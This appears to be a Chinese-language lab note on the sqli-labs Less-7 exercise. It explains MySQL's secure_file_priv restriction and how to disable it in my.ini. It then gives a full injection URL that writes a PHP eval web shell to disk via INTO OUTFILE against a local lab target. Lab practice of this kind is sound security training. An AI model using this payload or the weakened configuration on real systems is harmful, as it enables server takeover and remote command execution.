错误重现:
错误一:
You have an error in your SQL syntax
(且指定写入的部位没有写入文件)
错误二:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
(无法写入文件)
查看错误原因+解决方法:
原因:
官方文档说,secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。
第一步:
(打开数据库详细过程:手动打开数据库)
打开数据库后输入
show global variables like '%secure%';
查看secure_file_priv 的值,发现为NULL,表示限制不能导入导出
第二步:
打开数据库文件夹--------找到下目录下的my.ini ---------打开它
在 里面写入下面这句话--------并保存
secure_file_priv=""
重启数据库
然后再打开数据库命令行输入
show variables like '%secure%';
再在sqli-labs-master中的靶场执行写入操作
虽然提示错误,但是已经写进去了
http://localhost:8080/sqli-labs-master/Less-7/
?id=-1')) union select 1,"<?php @eval($_GET['cmd']); ?>",3 into outfile "D:\\BaiduNetdiskDownload\\phpstudy\\phpstudy_pro\\2.txt" --+
看看文件目录,已经写进去了
大功告成